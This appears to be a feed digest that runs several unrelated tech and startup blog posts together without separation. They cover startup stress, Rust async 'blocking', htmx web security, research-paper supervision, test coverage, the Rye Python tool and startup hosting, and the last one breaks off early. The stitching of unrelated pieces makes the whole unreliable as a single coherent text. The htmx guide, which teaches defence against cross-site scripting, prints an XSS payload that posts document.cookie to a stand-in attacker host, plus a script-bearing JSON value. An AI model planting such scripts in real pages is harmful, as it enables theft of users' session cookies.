Even though I didn’t drop out of the university, I did learn how to handle stress better. My journey was filled with its own set of challenges. Based on my experiences, I’d like to share some thoughts that might help you understand yourself better.

Getting shit done is a skill that can be improved.

The first and perhaps most crucial lesson I’ve learned is the value of embracing suffering, hardship, and failure. You will fail. Again, you will fail. Eventually. At something. And failing is not just inevitable aspect of life but is, in fact, our greatest teachers. I encourage you to take risks, knowing well that not all will lead to success. Solving every problem is taking some risk that you will solve it wrongly. It’s through these failures that you’ll learn resilience and discover what it truly takes to succeed.

More mistakes = easier to overcome fear of your startup failing.

Traveling, especially to places vastly different from your own, can also offer invaluable lessons. It exposes you to new perspectives, challenges your assumptions, and teaches you about resilience in ways you might not expect. Spending time in third-world countries, for instance, can provide a profound understanding of what it means to survive and find happiness in the most challenging circumstances. Once you see how people live all over the world, you wont be scared of loosing it all. These experiences can significantly impact your startup journey, offering insights into resilience.

At the heart of every successful entrepreneur is a strong ‘why.’ This goes beyond the desire for financial success or recognition. It’s finding a purpose that drives you, something that gives meaning to your efforts and sustains you through the toughest times. Whenever I get up to solve problems for my company, I don’t really think about the problems themselves — I have in my mind the WHY I need to do what needs to be done. There are employees who depend on me, there are families who rely on financial stability of the company, and there’s also a dream that I want to realize. This purpose is a beacon, guiding you when the path ahead seems unclear. Reflect on what truly motivates you, and let this understanding shape your journey.

A good suggestion to handle stress better is finding a mentor who can provide a safety net as you navigate the complexities of startup world. A good mentor can offer guidance, share valuable insights from their own experiences, and provide the support you need to take risks and learn from your failures. Don’t underestimate the power of a bi-weekly call to clear your head with someone who knows better.

Maybe it can get easier to develop grip with some self-discipline? Define clear, measurable goals for where you want to be in 1, 3, and 6 months, and then work backwards from them to understand what needs to get done. Understand what success looks like to you, and be equally clear about what constitutes failure. This clarity will help you stay focused.

Finally, be mindful of the risk of burnout. Entrepreneurship is demanding, and without proper care, it’s easy to find yourself overwhelmed.

Your life is a movie and your path may be challenging, but it’s also filled with opportunities for growth and fulfillment. Keep pushing forward, stay true to your ‘why,’ and never lose sight of the impact you wish to make.

Wishing you all the best on your entrepreneurial journey

The post How to better handle stress in a startup? appeared first on Vadim Kravcenko.

Digital release of Engineering Executive's Primer.

Quick update on The Engineering Executive’s Primer. The book went to print yesterday, and physical copies will be available in March. Also, as of this moment, you can purchase the digital edition on Amazon, and read the full digital release on O’Reilly. (You can preorder physical copies on Amazon as well.)

Will it block?

Will this function block?

fn work(x: u64, y: u64) -> u64 {
    x + y
}

How about this function?

fn work(x: u32) -> u32 {
    let mut prev = 0;
    let mut curr = 1;
    for _ in 0..x {
        let next = prev + curr;
        prev = curr;
        curr = next;
    }
    curr
}

Or this one?

use sha256::digest;

fn work(input: &str) -> String {
    digest(input)
}

Will this function block?

use std::{thread, time::Duration};
fn work() {
    thread::sleep(Duration::from_nanos(10));
}

Perhaps this one will?

use std::{thread, time::Duration};
fn work() {
    thread::sleep(Duration::from_millis(10));
}

Or how about this one, does this block?

use std::{thread, time::Duration};
fn work() {
    thread::sleep(Duration::from_secs(10));
}

Let's try another; does this block?

use std::{thread, time::Duration};
fn work() {
    thread::spawn(|| {}).join();
}

Up next: does this block?

use std::{thread, time::Duration};
fn work() {
    println!("meow");
}

Last one; does this block?

use std::fs::File;
use std::io::prelude::*;
use std::os::unix::io::FromRawFd;

fn work() {
    let mut f = unsafe { File::from_raw_fd(1) };
    write!(&mut f, "meow").unwrap();
}

And so on.

Determining whether something "is blocking" is a messy endeavor because computers are messy. Whether something blocks is not something we can objectively determine, but depends on our own definitions and uses. A system call which resolves quickly might not be considered "blocking" at all 1, while a computation which takes a long time might be. The Tokio folks wrote the following about it a few years ago:

1

Modern storage and networking devices can get pretty darn fast. A modern PCIe connection can transfer 128GB/s or 1Tb/s. Sub-millisecond response times for storage are not unheard of either. And even network calls, for example between processes (containers) or between machines in a data center, can resolve incredibly quickly.

[…] it is very hard to define "progress". A naive definition of progress is whether or not a task has been scheduled for over some unit of time. For example, if a worker has been stuck scheduling the same task for more than 100ms, then that worker is flagged as blocked and a new thread is spawned. In this definition, how does one detect scenarios where spawning a new thread reduces throughput? This can happen when the scheduler is generally under load and adding threads would make the situation much worse.

Even if we decide something is "blocking" after an arbitrary cutoff - that might still not do us any good if the overall throughput of the system is reduced. Determining whether something is objectively blocking or not might be the most useful question to be asking. Alice Ryhl (also of Tokio) had the following to say:

In case you forgot, here's the main thing you need to remember: Async code should never spend a long time without reaching an .await.

I believe this is a much more useful framing. Rather than attempting (and failing) to categorize calls as "blocking", we should identify where we're spending longer stretches of time without yielding back to the runtime - and ensure we can correct it when we don't. In async-std I introduced the task::yield_now function to help with this 2. Tokio subsequently adopted it 3, and for WASI's async model a similar function is being considered too.

2

The original issue where I introduced this idea is still available in case anyone is reading about the motivation for this at the time. We very clearly modeled it after thread::yield_now, but async.

3

I believe they've been working on an alternative system to this for a few years now, but I'm not sure what the state of that is.

The goal of this post is to show by example the ambiguity present when attempting to create an objective classification of which code counts as "blocking". As well as taking the opportunity to highlight previous writing on the topic.

Special thanks to Jim Blandy, who during my review of The Crab Book convinced me it is actually fine to use a synchronous mutex in asynchronous code, in turn pointing me towards Alice's writing.

Web Security Basics (with htmx)

As htmx has gotten more popular, it’s reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.

But have no fear! Writing web applications with HTML templates is a slightly different security model, but it’s no harder than securing a JSX-based application, and in some ways it’s a lot easier.

#Who is guide this for?

These are web security basics with htmx, but they’re (mostly) not htmx-specific—these concepts are important to know if you’re putting any dynamic, user-generated content on the web.

For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create GET routes that can alter the backend state. We also assume that you’re not doing anything super fancy, like making a website that hosts other people’s websites. If you’re doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.

We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can’t catch everyone. No security guide is perfectly comprehensive. If you feel there’s a mistake, or an obvious gotcha that we should have mentioned, please reach out and we’ll update it.

#The Golden Rules

Follow these four simple rules, and you’ll be following the client security best practices:

  1. Only call routes you control
  2. Always use an auto-escaping template engine
  3. Only serve user-generated content inside HTML tags
  4. If you have authentication cookies, set them with Secure, HttpOnly, and SameSite=Lax

In the following section, I’ll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.

Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you’ll be doing so with the full knowledge that you’re increasing the conceptual burden of securing your application. And you’ll have learned a lot about web security in the process.

#Understanding the Rules

#Only call routes you control

This is the most basic one, and the most important: do not call untrusted routes with htmx.

In practice, this means you should only use relative URLs. This is fine:

<button hx-get="/events">Search events</button>

But this is not:

<button hx-get="https://google.com/search?q=events">Search events</button>

The reason for this is simple: htmx inserts the response from that route directly into the user’s page. If the response has a malicious <script> inside it, that script can steal the user’s data. When you don’t control the route, you cannot guarantee that whoever does control the route won’t add a malicious script.

Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML) are specific to the layout of your application, so there is almost never any reason you’d want to insert someone else’s HTML into your page. All you have to do is make sure you only call your own routes (htmx 2 will actually disable calling other domains by default).

Though it’s not quite as popular these days, a common SPA pattern was to separate the frontend and backend into different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in the frontend, and often, disabling CORS. With htmx (and, to be fair, modern React with NextJS) this is an anti-pattern.

Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and everything else falls into place: you can use relative URLs, you’ll never have trouble with CORS, and you’ll never call anyone else’s backend.

htmx executes HTML; HTML is code; never execute untrusted code.

#Always use an auto-escaping template engine

When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.

Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.

LanguageTemplate EngineEscapes HTML by default?
JavaScriptNunjucksYes
JavaScriptEJSYes, with <%= %>
PythonDTLYes
PythonJinjaSometimes (Yes, in Flask)
RubyERBYes, with <%= %>
PHPBladeYes
Gohtml/templateYes
JavaThymeleafYes
RustTeraYes

The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that is broadly used to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store malicious code in your database, which you then serve to your other users who request that info.

For example, let’s say you’re building a dating site, and it lets users share a little bio about themselves. You’d render that bio like this, with {{ user.bio }} being the bio stored in the database:

<p>
{{ user.bio }}
</p>

If a malicious user wrote a bio with a script element in it—like one that sends the client’s cookie to another website—then this HTML will get sent to every user who views that bio:

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:

/**
 * Replace any characters that could be used to inject a malicious script in an HTML context.
 */
export function escapeHtmlText (value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // Match any of the characters inside /[ ... ]/
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

This tiny JS function replaces < with &lt;, " with &quot;, and so on. These characters will still render properly as < and " when they’re used in the text, but can’t be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

which displays harmlessly as text.

Fortunately, as established above, you don’t have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you’re going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.

#Only serve user-generated content inside HTML tags

This is an addendum to the template engine rule, but it’s important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.

<!-- Don't include inside script tags -->
<script>
  const userName = {{ user.name }}
</script>

<!-- Don't include inside CSS tags -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

And, don’t use user-defined attributes or tag names either:

<!-- Don't allow user-defined tag names -->
<{{ user.tag }}></{{ user.tag }}>

<!-- Don't allow user-defined attributes -->
<a {{ user.attribute }}></a>

<!-- User-defined attribute VALUES are sometimes okay, it depends -->
<a class="{{ user.class }}"></a>

<!-- Escaped content is always safe inside HTML tags (this is fine) -->
<a>{{ user.name }}</a>

CSS, JavaScript, and HTML attributes are “dangerous contexts,” places where it’s not safe to allow arbitrary user input, even if it’s escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it’s safest to default to not doing any of these.

Inserting user-generated text directly into a script tag should never be necessary, but there are some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.

#Secure your cookies

The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser’s best cookie security features. These three in particular:

  • Secure - only send the cookie via HTTPS, never HTTP
  • HttpOnly - don’t make the cookie available to JavaScript via document.cookie
  • SameSite=Lax - don’t allow other sites to use your cookie to make requests, unless it’s just a plain link

To understand what these protect you against, let’s go over the basics. If you come from JavaScript SPAs, where it’s common to authenticate using the Authorization header, you might not be familiar with how cookies work. Fortunately they’re very simple. (Please note: this is not an “authentication with htmx” tutorial, just an overview of cookie tokens generally)

If your users log in with a <form>, their browser will send your server an HTTP request, and your server will send back a response that looks something like this:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]

That token corresponds to the user’s current login session. From now on, every time that user makes a request to any route at yourdomain.com, the browser will include that cookie from Set-Cookie in the HTTP request.

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

Each time someone makes a request to your server, it needs to parse out that token and determine if it’s valid. Simple enough.

You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP request that looks like this:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]

So what do the options do?

The first one, Secure, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user’s login token, should never be sent over an insecure connection.

The second option, HttpOnly, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won’t be in document.cookie). Even if someone is able to insert a malicious script, like in the evilwebsite.com example above, that malicious script cannot access the user’s cookie or send it to evilwebsite.com. The browser will only attach the cookie when the request is made to the website the cookie came from.

Finally, SameSite=Lax locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client’s browser to make a malicious request to the yourdomain.com server—like a POST request. The SameSite=Lax setting tells the browser not to send the yourdomain.com cookie if the site that made the request isn’t yourdomain.com—unless it’s a straightforward <a> link navigating to your page. This is mostly browser default behavior now, but it’s important to still set it directly.

In 2024, SameSite=Lax is usually enough to protect against CSRF, but there are additional mitigations you can consider as well for more sensitive or complicated cases.

Important Note: SameSite=Lax only protects you at the domain level, not the subdomain level (i.e. yourdomain.com, not yoursite.github.io). If you’re doing user login, you should always be doing that at your own domain in production. Sometimes the Public Suffixes List will protect you, but you shouldn’t rely on that.

#Breaking the rules

We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.

Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means.

#Calling untrusted APIs

Calling untrusted HTML APIs is lunacy. Never do this.

There are cases where you might want to call someone else’s JSON API from the client, and that’s fine, because JSON cannot execute arbitrary scripts. In that case, you’ll probably want to do something with that data to turn it into HTML. Don’t use htmx to do that—use fetch and JSON.parse(); if the untrusted API pulls a fast one and returns HTML instead of JSON, JSON.parse() will just fail harmlessly.

Keep in mind that the JSON you parse might have a property that is formatted as HTML, though:

{ "name": "<script>alert('Hahaha I am a script')</script>" }

Therefore, don’t insert JSON values as HTML either—use innerText if you’re doing something like that. This is well outside the realm of htmx-controlled UI though.

The 2.0 version of htmx will include an innerText swap, if you want to call someone else’s API directly from the client and just put that text into the page.

#Custom HTML controls

Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.

What if, say, you want to let users link to an image?

<img src="{{ user.fav_img }}">

Or link to their personal website?

<a href="{{ user.fav_link }}">

The default “escape everything” approach escapes forward slashes, so it will bork user-submitted URLs.

You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don’t let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the safe function:

<img src="{{ user.fav_img_s3_url | safe }}">

Yes, you’re including unescaped content, but it’s a link that you generated, so you know it’s safe.

You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

In that example, the user can set favorite_color to whatever they like, but it’s never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea.

Depending on what kind of customization you’re supporting, securing it might be relatively easy, or quite difficult. Some attributes are “safe sinks,” which means that their values will never be interpreted as code; these are quite easy to secure. If you’re going to include dynamic input in “dangerous contexts,” you need to research what is dangerous about those contexts, and ensure that that kind of input won’t make it into the document.

If you want to let users link to arbitrary websites or images, for instance, that’s a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything but forward slashes (and possibly ampersands), so the link will work properly.

But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else’s server. Maybe you’re fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don’t have the bandwidth to research and test it, you shouldn’t do it.

JavaScript SPAs sometimes authenticate by saving a token in the client’s local storage, and then adding that to the Authorization header of each request. Unfortunately, there’s no way to set the Authorization header without using JavaScript, which is not as secure; if it’s available to your trusted JavaScript, it’s available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all.

Why is there an Authorization header but no way to set it with hypermedia controls? Well, that’s just one of WHATWG’s outrageous omissions little mysteries.

You might need to use an Authorization header if you’re authenticating the user’s client with an API that you don’t control, in which case the regular precautions about routes you don’t control apply.

#Bonus: Content Security Policy

You should also be aware of the Content Security Policy (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts.

This is not one of the golden rules because it’s not as easy to apply universally. There’s no “one size fits most” CSP. Some htmx applications make use of inline scripting—the hx-on attribute is a generalized attribute listener that can evaluate arbitrary scripts (although it can be disabled if you don’t need it). Sometimes inline scripts are appropriate to preserve locality of behavior on a application that is sufficiently secured against XSS, sometimes inline scripts aren’t necessary and you can adopt a stricter CSP. It all depends on your application’s security profile—it’s on to you to be aware of the options available to you and able to perform that analysis.

#Is this a step back?

You might reasonably wonder: if I didn’t have to know these things when I was building SPAs, isn’t htmx a step back in security? We would challenge both parts of that statement.

This article is not intended to be a defense of htmx’s security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that’s supposed to be rendered—it’s a lot easier for unintended data to “hide” in a JSON response and leak to the user. Hypermedia APIs also don’t lend themselves to implementing a generalized query language, like GraphQL, on the client, which require a massively more complicated security model. Flaws of all kinds hide in your application’s complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure.

You also need to know about XSS attacks if you’re putting dynamic content on the web, period. A developer who doesn’t understand how XSS works won’t understand what’s dangerous about using React’s dangerouslySetInnerHTML—and they’ll go ahead and set it the first time they need to render rich user-generated text. It is the library’s responsibility to make those security basics as easy to find as possible; it has always been the developer’s responsibility to learn and follow them.

This article is organized to making securing your htmx application a “pit of success”—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it’s impossible to write a library that’s going to be secure in the hands of a developer who refuses to learn anything about security, because security is about controlling access to information, and it will always be the human’s job to explain to the computer precisely who has access to what information.

Writing secure web applications is hard. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.

For everyone else:

  1. Don’t call untrusted routes
  2. Use an auto-escaping template engine
  3. Only put user-generated content inside HTML tags
  4. Secure your cookies

Research Flow

Say, you are a student, and I’m your teacher. Your task is to conduct an experiment or a study and then write a research paper about it. You can do it on your own and then present me with the results in the end. Sometimes it may work, but most probably it won’t. I will have many comments, suggestions, and plain simple disagreements with your research questions, results, or conclusions. Just like in software engineering, the Waterfall approach is not an effective one. Instead, an incremental and iterative workflow may yield way better results: you take a small step forward, we discuss it, you rewrite, we agree, and you take the next step. The ultimate objective is to write a paper that will be published in a good journal or presented at a decent conference. Well, yes, a passing grade is also an objective.

Республика Шкид (1966) by Геннадий Полока
Республика Шкид (1966) by Геннадий Полока

Since the goal is a research paper, your first step is to create a skeleton of it in LaTeX. If you don’t know LaTeX yet, read LaTeX: A Document Preparation System by Leslie Lamport (just 242 pages). If you think you already know LaTeX, read this short list of its best practices and Writing for Computer Science by Justin Zobel (just 284 pages).

Now, create a document in Overleaf, and share a link with me so that I can also edit the project. Make your skeleton look like this (you should also create an empty main.bib file too):

\documentclass[sigplan,nonacm,anonymous,review]{acmart}
\usepackage[utf8]{inputenc}
\usepackage{natbib}
\title{My article}
\author{John Doe}
\orcid{0000-0001-0000-0000}
\email{your email}
\affiliation{\institution{University}\city{City}\country{Country}}
\begin{abstract}
This paper is about something new.
\end{abstract}
\begin{document}
\maketitle
\section{Introduction}
Hello, world!
\bibliographystyle{ACM-Reference-Format}
\bibliography{main}
\end{document}

Now, you are ready to begin your research incrementally, and I will review each step in the following order:

  1. Research Questions
  2. Research Method — how to?
  3. Preliminary Experiments
  4. Related Work — how to?
  5. Results — how to?
  6. Limitations
  7. Discussion — how to?
  8. Conclusion
  9. Introduction
  10. Abstract
  11. Title

Each step produces a few new paragraphs in the LaTeX document. In this blog post, you can find recommendations for each of the steps. I strongly advise against moving on to the next step unless the previous one is discussed and approved. Doing so may result in greater frustration on your part when you’ve written almost the entire paper, and we both realize that the whole piece must be rewritten, and experiments must be redone.

Before we start, please put a date on each of the steps mentioned above and send me the entire work plan. It’s better to meet every milestone as a disciplined student; otherwise, the risk of failure will be larger.

I believe that you, the reader of this blog post, are an honest and motivated student who not only cares about achieving a passing grade but also values contributing to computer science. However, not every student fits this description. Surprisingly, some may lack motivation or diligence. To prioritize the enthusiastic and dedicated students who require most of my attention, I may halt a research project when I discern a lack of genuine commitment. The use of ChatGPT, plagiarism, and negligence may lead to an unfavorable assessment of your work. I strongly advise avoiding them.

Digital Memory Patreon //Ko-fi // inprint

Digital Memory

Patreon //Ko-fi // inprint

Too much of a good thing: the trade-off we make with tests

I've worked places where we aspired to (but did not reach) 100% code coverage. We used tools like a code coverage ratchet to ensure that the test coverage always went up and never down. This had a few effects.

One of them was the intended effect: we wrote more tests. Another was unintended: we would sometimes write unrelated tests or hack things to "cheat" the ratchet. For example, if you refactored well-tested code to be smaller, code coverage goes down but the codebase is better, so you have to work around that.

It's well known that targeting 100% code coverage is a bad idea, but the question is why, and where should we draw the line?

There are many reasons why you don't want to hit 100% code coverage in a typical scenario. But one that's particularly interesting to me is the value trade-off you make when you're writing tests.

Why do we write tests?

Tests ultimately exist only to serve the code we write, and that code is there to solve a problem. If adding a test doesn't help you solve the problem, it's not a great use of time and money.

The way that tests help you solve problems is by mitigating risk. They let you check your work and validate that it's probably reasonably correct (and if you want even higher confidence, you start looking to formal methods). Each test gives you a bit more confidence in the code that's tested, because it means that in more configurations and with more inputs, you got the result you expected.

Test code itself does not directly deliver value. It's valuable for its loss prevention, both in terms of the real harm of bugs (lost revenue, violated privacy, errors in results) and in terms of the time spent detecting and fixing those bugs. We don't like paying that cost, so we pay for tests instead. It's an insurance policy.

How much risk do you want?

When you pay for insurance, you are offered a menu of options. You can get more coverage—a lower deductible, higher limits, and extra services—if you pay a higher premium. Selecting your policy is selecting how much risk you want to take on, or how much you can afford to avoid.

In the same way that insurance reduces the risk of a sudden outflow of cash, a test suite reduces the risk of a sudden major bug with its direct costs and labor costs. And just like with insurance, we have different options for how many tests we have. We can't afford all the options. We're not going to formally verify a web app1. But we are going to write tests, so we have to choose what we pay in the premium and what we pay when an accident happens.

If you aim for 100% code coverage, you're saying that ultimately any risk of bug is a risk you want to avoid. And if you have no tests, you're saying that it's okay if you have severe bugs with maximum cost.

Detecting when you're paying too much for tests

The question ultimately becomes, how do we select how much risk we want to take on for tests? This is often an implicit decision: someone reads an article that says "more code coverage good" and they add in a code ratchet tool2 and then people start writing more tests because it's our culture, man!

The better way is to be deliberate about the decision. This is something where we as ICs can inform management about the risks and the costs, and ultimately management decides how much to invest in testing and how much risk to mitigate.

Note, however, that there are some tests we have an ethical obligation to write. If you're working on a pacemaker, you have a much higher minimum bar for testing (and other forms of assurance), because your software will kill people if you get it wrong3. It's unacceptable for management or engineers to try to take on that risk. For the rest of this discussion, I'm going to assume that we're above that minimum bar and within the range of risk that it's both legal and ethical to choose from.

Part of the trouble with communicating the risk-cost trade-off here is that it's difficult to quantify. But there are ways that we can make that more clear, and it's worth it to have that discussion to make the trade-off more explicit.

To measure the trade-off, you ultimately need to have two numbers:

  • The cost of writing tests. To get this number, you have to measure how much time is spent on testing. If you have a dedicated test team, their time is all counted in this. You also include the portion of time spent for each task which is spent writing tests. You don't need to measure this for every ticket, just a sampling to get the breakdown.
  • The cost of bugs. Getting this number is more complicated. Some bugs have a clear cost if they cause a customer to churn in an attributable way, but many bugs are more implicit in how they erode trust and produce harms. You can measure the time your engineering team spends on triaging and fixing bugs, and this is one of the primary costs. The rest of it—the direct costs of bugs—you'll have to estimate with management and product. The idea here is just to get close enough to understand the trade-off, not to be exact.

Once you have these two numbers, you can start to back into what the right trade-off is for you. The obvious first thing is that the cost of writing tests should be lower than the cost of bugs, or it's clearly not worth it and you've made a bad trade-off4!

When you communicate those numbers with management, make sure to highlight also that there's the opportunity cost of writing tests instead of code. If your company is in a make-or-break moment it may be a much better idea to go all-hands-on-deck and minimize tests to maximize short-term feature productivity. This isn't a free trade-off, because you'll pay for those bugs later down the road, and it will compound, but for startups with very very short runways, it can make sense.

Another signal that you're making the wrong trade-off is if you can't quantify the cost of bugs because you don't have enough bugs to quantify. That means that you're probably spending too much time catching and preventing bugs, and you should spend more time creating or improving features. (That, or you're not getting bug reports, which is bad for all sorts of different reasons.)


How do you manage this trade-off on your team? Have you made it explicit, or is it implicit?


1

If you are doing formal verification of web apps, please let me know. I'd love to be a fly on the wall and learn more.

2

I'm looking at you, Kyle.

3

This raises an ethical question: if it's wrong to write bad code for a pacemaker because that could kill someone, is it also wrong to write good code for a weapon since that would also kill someone?5

4

For things like pacemakers, the cost of bugs is infinite, so this is always satisfied.

5

Yes, but also, it's complicated. Writing bad code could also kill someone else. The only winning move is to not play (where the game here is "writing code for weapons").

Rye: A Vision Continued

In April of last year I released Rye to the public. Rye, both then and now, represents my very personal vision of what an improved Python packaging and project management solution can look like. Essentially, it's a comprehensive user experience, designed so that the only tool a Python programmer would need to interface with is Rye itself and it gets you from zero to one in a minute. It is capable of bootstrapping Python by automatically downloading different Python versions, it creates virtualenvs, it manages dependencies, and lints and formats. Initially developed for my own use, I decided to release it to the public, and the feedback has been overwhelmingly positive.

When I introduced it, I initiated a discussion thread titled “Should Rye Exist” referencing the well known XKCD #929 which humorously comments on the proliferation of competing standards. I did not feel well throwing yet another Python packaging tool into the ring.

Yet it exists now and has user. This standard issue however I think is helped a bit by the fact that Rye doesn't actually do any of these things itself. It wraps established tools:

  • Downloading Python: it provides an automated way to get access to the amazing Indygreg Python Builds as well as the PyPy binary distributions.
  • Linting and Formatting: it bundles ruff and makes it available with rye lint and rye fmt.
  • Managing Virtualenvs: it uses the well established virtualenv library under the hood.
  • Building Wheels: it delegates that work largely to build.
  • Publishing: its publish command uses twine to accomplish this task.
  • Locking and Dependency Installation: is today implemented by using unearth and pip-tools.

As you can see, Rye is not revolutionary and it's not intended to be. Rye itself doesn't do all that much as it delegates all the core functionality to other tools in the ecosystem. Rye packages these tools together in a user-friendly manner, significantly reducing the cognitive load for developers. This convenience eliminates the need to learn about various tools, read extensive documentation, and integrate these components independently. Rye lets you get from no Python on a computer to a fully functioning Python project in under a minute with linting, formatting and everything in place. It is sufficiently opinionated that many important decisions are made for you. For instance it starts you out with using pyproject.toml and picks a wheel build system for you. It also picks the linter and formatter, and the preferred Python distribution and decides on a build tool.

Defaults Matter

Rye is designed to select the best tools for the job — it picks winners. Why does it do that? This approach is inspired by my admiration for the developer experience in the Rust ecosystem, particularly the seamless integration of rustup and cargo. Their functionality made me long for a similar experience within the Python community. Crucially the way this works in the Rust world does not mean that cargo does everything. When you run cargo build it invokes rustc, when you run cargo doc it runs rustdoc. When you invoke cargo clippy it runs clippy for you and so worth. Cargo is a manager that delegates the important work to bespoke tools that are improved by sometimes entirely different teams. This also means that tools can be swapped out if they are found to be not the right choice any more. The experience in the Rust world also showed me that excellent Windows support is just a must have. That's why Rye is not just a great experience on macOS and Linux, it's also excellent on Windows.

I am convinced that the Python community is deserving of an excellent developer experience, and Rye, as it stands today, offers a promising beginning. My belief is supported by evidence gathered from conducting in-person user interviews and demos, where Rye was well received. In fact, every individual who I was able to give a guided tour of Rye was impressed by how swiftly one could start working with Python. Because it was demonstrably designed to avoid interference with any pre-existing Python configurations, Rye allows for a smooth and gradual integration and the emotional barrier of picking it up even for people who use other tools was shown to be low.

That said, Rye is a one person project and it does not address the fundamental challenges of some of the issues we have in the Python ecosystem. It does not solve multi version dependencies, it does not offer better performance for the installation of dependencies. It does not help with distributing executables for end user applications or anything like this. However I am getting multiple signals that the time is right for a tool like Rye to not just exist, but also to rally a larger number of the Python community embrace some of these standardization ideas.

What's Next?

Chris Warrick recently wrote a blog post where he looked back at the last year of Python packaging that made the rounds on Twitter. It laments a bit that we did not make much of a progress in packaging and it also talks a bit about Rye and correctly points out that Rye does not have enough contributors (basically just me). That's not a healthy setup.

I still don't really know if Rye should exist. It has not yet become established and there are plenty of rough edges. I personally really enjoy using it but at the same time every time I use it, I get reminded that it would stop existing if I did not invest time into it which in some sense is what keeps me going on it.

However I would love to see the community converge to a Rye like solution, no matter where it comes from.

Learn More

Did I spark your interest? I would really appreciate it if you give it a try and give feedback:

a 16 minute introduction to Rye

Startup Infrastructure: Scaling from Zero to Enterprise

Back when I was coding in 2007, my stack was straightforward.

I had a shared hosting provider that cost me about 2 dollars per month (which I paid for a year in advance via Western Union from my local bank, where the polite lady asked me ten times if I trusted the person to whom I was sending the money to, and if I’m sure I’m not getting scammed). Paying for hosting was not that popular where I’m from.

I had a single PHP file with thousands of lines in it. The whole logic was right there: no includes, no modules, and a lot of unescaped SQL queries. Yes, I learned the hard way that you should always sanitize the input.

I had a phpMyAdmin to a single database, which I used for all of my projects, and cPanel access that allowed me to route the requests to a specific file from one particular domain. Again, it was a shared hosting, and virtualization was not at the level it is now. I think you can’t even get shared hosting nowadays, so thank god.

